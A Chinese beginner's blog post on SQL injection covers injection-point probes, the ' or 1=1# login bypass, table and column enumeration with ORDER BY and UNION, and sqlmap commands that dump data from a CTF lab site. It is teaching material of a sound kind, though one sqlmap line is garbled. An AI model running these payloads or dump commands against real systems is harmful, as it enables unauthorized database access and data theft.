初識SQL注入

一、基礎(chǔ)

1. 定義

SQL注入是一種利用未過濾/未審核用戶輸入的攻擊方法(“緩存溢出”和這個不同),意思就是讓應(yīng)用運行本不應(yīng)該運行的SQL代碼。如果應(yīng)用毫無防備地創(chuàng)建了SQL字符串并且運行了它們,就會造成一些出人意料的結(jié)果。
【自行理解:只要有要求用戶輸入的地方,就會有連接數(shù)據(jù)庫的操作,由于用戶可以輸入任何東西,所以就能也能輸入sql代碼來搞破壞】

2. 分類

  • 數(shù)字型:select * from <表名> where id = 1
  • 字符型:select * from <表名> where id = 'x'

3. 一般流程

step1:尋找注入點

找到網(wǎng)站中傳遞參數(shù)的地方,比如按編號查詢商品的頁面,如http://xxx/xxx.php?id= 45再進行判斷

  • 數(shù)字型
    step1:在url中輸入http://xxx/xxx.php?id=x and 1=1頁面正常,則進入下一步
    step2: 再輸入http://xxx/xxx.php?id=x and 1=2頁面出錯,則說明存在數(shù)字型注入
    (原因:若是字符型注入,那么
    真正執(zhí)行的sql語句其實是select * from <表名> where id = 'x and 1=2'這樣的,并不會存在邏輯判斷)

    補充判斷
  • 字符型
    step1:在url中輸入http://xxx/xxx.php?id=x' and '1'='1頁面正常,則進入下一步
    step2: 再輸入http://xxx/xxx.php?id=x' and '1'='2頁面出錯,則說明存在字符型注入
    補充
step2:猜解數(shù)據(jù)庫字段

猜解原理:以dvwa為例
源碼:$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
我們要做的就是通過控制user_id的輸入達到獲取數(shù)據(jù)庫中信息的目的,比如輸入' or 1=1#則真正執(zhí)行的sql語句是
SELECT first_name, last_name FROM users WHERE user_id = '' or 1=1#`;
這里' or 1=1#也叫萬能密碼,原理很簡單,對于執(zhí)行的sql語句,user_id傳入什么不要緊,后面的1=1永遠成立,再注意加注釋#表示把后面的 `去掉,根據(jù)or運算的性質(zhì),有一個條件為真,這句話就可以執(zhí)行

  • 你猜有沒有xxx表?--- ' or exists (select * from xxx)#
  • 你猜xxx表里有幾個字段呀?--- 1' order by N#
    (注:order by N的意思是按表中第N字段排列,其中N就是你要試的數(shù),如果表里有2個字段,則執(zhí)行order by 1和order by 2都正常,而執(zhí)行order by 3出錯)
  • 你猜表里的字段都有那些呀?--- 1' unoin select x1,x2 from 表名
    (注1:Union查詢可查詢兩個及以上字段,若上一步判斷得表中主查詢列數(shù)為2,則每次使union查詢兩項)
    (注2:常用查詢
    database()將會返回當前網(wǎng)站所使用的數(shù)據(jù)庫名字.
    user()將會返回執(zhí)行當前查詢的用戶名.
    version() 獲取當前數(shù)據(jù)庫版本.
    @@version_compile_os 獲取當前操作系統(tǒng)。
    table_name 數(shù)據(jù)庫中其他表
    table_schema 數(shù)據(jù)庫的模式
    username 用戶名
    password 密碼)

二、使用神器sqlmap

1.爆當前數(shù)據(jù)庫名:sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" --current-db

2.爆表名: -D 指定上一步爆出的數(shù)據(jù)庫名 my_db

sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -D my_db --tables

3.爆列名(字段名), -T 指定上一步爆出的表名 admin

sqlmap -u "爆列名(字段名), -T 指定上一步爆出的表名 admin

sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -D my_db -T thiskey --columns --no-cast

4.爆字段中存儲的數(shù)據(jù)值:使用-D my_db -T thiskey -C k0y --dump 參數(shù)得到值

sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -D my_db -T thiskey -C k0y --dump

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • sqlmap用戶手冊 說明:本文為轉(zhuǎn)載,對原文中一些明顯的拼寫錯誤進行修正,并標注對自己有用的信息。 ======...
    wind_飄閱讀 2,207評論 0 5
  • [SQL注入攻擊] SQL注入攻擊是黑客對數(shù)據(jù)庫進行攻擊的常用手段之一。隨著B/S模式應(yīng)用開發(fā)的發(fā)展,使用這種模式...
    James黃杰閱讀 2,919評論 0 30
  • http://192.168.136.131/sqlmap/mysql/get_int.php?id=1 當給sq...
    xuningbo閱讀 10,567評論 2 22
  • 注入攻擊的分類 1.沒有正確過濾轉(zhuǎn)義字符 在用戶的輸入沒有為轉(zhuǎn)義字符過濾時,就會發(fā)生這種形式的注入式攻擊,它會被傳...
    查無此人asdasd閱讀 1,842評論 0 5
  • 到了四年級,我們居然開展了武術(shù)課,這對于多動的我來說,太棒了。老師告訴我們,武術(shù)現(xiàn)在是非文化物質(zhì)遺產(chǎn),中國有好多人...
    盛聿洺閱讀 290評論 0 2

友情鏈接更多精彩內(nèi)容